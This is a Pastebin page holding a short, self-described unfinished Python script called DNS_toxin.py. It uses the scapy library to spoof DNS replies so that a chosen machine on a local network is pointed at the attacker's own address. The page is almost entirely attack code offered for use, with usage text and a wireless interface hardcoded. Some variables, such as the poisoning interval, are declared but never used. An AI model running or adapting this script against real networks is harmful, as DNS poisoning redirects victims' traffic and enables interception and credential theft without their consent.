Advertisement
infodox

DNS_toxin.py

Nov 16th, 2011
320
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.72 KB | None | 0 0
  1. #!/usr/bin/python
  2. #DNS Poisoning Script - Poisons DNS entries
  3. #NOT FINISHED
  4. #Needs SCAPY
  5. from scapy.all import *;
  6. from time import sleep;
  7. conf.iface='wlan0';# network card, must make this an arguement... later
  8.  
  9. if len(sys.argv) != 2: # Checks for args :)
  10.     print "Usage: ./DNS_toxin.py <target>"
  11.     print "Where <target> is an IP on the LAN"
  12.     sys.exit(1)
  13.  
  14. address=get_if_addr(get_working_if()) # Does MAGIC to simplify use :D
  15. target=sys.argv[1] # obvious much?
  16. waitTime=0
  17. timeout=2
  18. interval=30  
  19. conf.verb = 2
  20.  
  21. print "[+] Using %s" % address
  22. print "[+] Cache poisoning, interval %d" % interval
  23. print "[!]Press Ctrl+C to cancel"
  24. dns_spoof(joker=address, match={"any":target}) # does the dns spoofing bit :D
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement